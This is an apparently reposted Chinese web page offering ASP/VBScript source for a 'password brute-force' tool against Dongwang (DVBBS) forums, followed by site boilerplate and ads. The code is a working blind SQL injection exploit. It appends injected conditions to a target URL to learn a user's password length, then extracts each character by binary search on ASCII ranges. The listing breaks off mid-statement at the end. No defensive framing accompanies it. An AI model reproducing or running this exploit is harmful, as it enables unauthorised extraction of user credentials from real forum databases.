動網論壇密碼暴力破解程式碼

來源:互聯網
上載者:User
程式|破解 <%
response.buffer=false
'為防止程式陷入死迴圈,初始化一些最大重試值
Dim MaxPassLen,MaxPassAsc
MaxPassLen=20 '密碼最大長度
MaxPassAsc=20

'==== 字元轉換
Function bytes2BSTR(vIn)
strReturn = ""
For j = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,j,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,j+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
j = j + 1
End If
Next
bytes2BSTR = strReturn
End Function
' 下面是取網頁內容 ==========
Function GetUrl(Url)
set oSend=createobject("Microsoft.XMLHTTP")
SourceCode = oSend.open ("GET",url,false)
oSend.send()
SourceCode = bytes2BSTR(oSend.responseBody)
GetUrl = SourceCode
End Function
'下面是判斷返回頁面效果
Function ChkPage(SourceCode,SucKey,ErrKey)
if Instr(SourceCode,SucKey) > 0 then
ChkPage=true '頁面返回成功
exit function
end if
if Instr(SourceCode,ErrKey) > 0 then
ChkPage=false '頁面出錯
exit function
end if
ChkPage=false '關鍵字資訊不對或者是頁面未串連
response.write("關鍵字資訊不對或者是頁面未串連")
response.end
End Function

'開始破解
'Dim url,username,password,SucKey,

Dim PassLenUrl
Dim PassLen
Dim ChkPassLen

If request("begin")<>"" then
response.cookies("PassLen")=0
url=request("url")
username=request("username")
password=request("password")
SucKey=request("SucKey")
ErrKey=request("ErrKey")
response.write("第一步,破解密碼長度<BR>")

PassLen = 1
ChkPassLen = false
Do while not ChkPassLen
PassLenUrl = Url & username & "'%20and%20len(" & password & ")=" & PassLen & "%20and%20'1'='1"
response.write("當前測試密碼位元為“" & PassLen & "”,請稍等......<BR>")
ChkPassLen = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
If ChkPassLen Then
response.write("成功!!!密碼位元已經測試出來了,開始測試具體位元<BR>")
exit do
Else
response.write("不行,繼續下一位測試!<BR>")
End If
If PassLen > MaxPassLen then
response.write( "密碼位元未能測試出,請確認是否有此使用者或重新調整密碼長度範圍")
response.end
exit do
End If
PassLen = PassLen + 1
Loop
response.write ("<FONT COLOR=red>已經測試出密碼長度為" & PassLen & ",開始測試具體密碼值</FONT><BR><BR>")
'迴圈每一位
Dim Asc1,Asc2,Asc10,Asc20,Ascstr
'Dim AscArr(PassLen)
Dim ChkPass,Asctemp1,Asctemp,count
Ascstr = ""

For i=1 to PassLen
ChkPass = false
Asc1 = 33
Asc2 = 126
response.write "開始破解第" & i & "位密碼<BR>"
'用二分法取asc碼範圍
count=1
suc=false
Do while not suc
Asctemp1=Asctemp
if (Asc2-Asc1) mod 2 = 1 then
Asctemp=(Asc2-Asc1-1)/2
else
Asctemp=(Asc2-Asc1)/2
end if

response.write "劃定密碼範圍為:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
PassLenUrl = Url & username & "'%20and%20asc(mid(password,"&i&",1))>=" & int(Asc1) & "%20and%20asc(mid(password,"&i&",1))<=" & int(Asc2) & "%20and%20'1'='1"
response.write "劃定密碼範圍為:" & chr(Asc1) & " -- " & chr(Asc2) & PassLenUrl & "<BR>"
ChkPass = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
if Asc1 = 33 and Asc2 = 126 and not ChkPass then
response.write "密碼不在所設定ASC碼範圍內"
response.end
exit do
end if
if ChkPass then
Asc10=Asc1
Asc20=Asc2
response.write("密碼在該範圍內<BR>")
if Asc1=Asc2 then Suc = true
Asc2 = Asc1 + Asctemp
else
Asc1 = Asc20-Asctemp1
Asc2 = Asc20
response.write("不在該範圍內,改試另一範圍<BR>")
end if
count=count+1
if count>MaxPassAsc then
response.write("死迴圈了!")
response.end
exit do
end if
Loop
Ascstr=Ascstr & chr(Asc1)
response.write"<BR>當前破解進度(“"&Ascstr&"”)<BR><BR><BR><BR>"
Next


response.write"<FONT SIZE=7 COLOR=red



相關文章

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。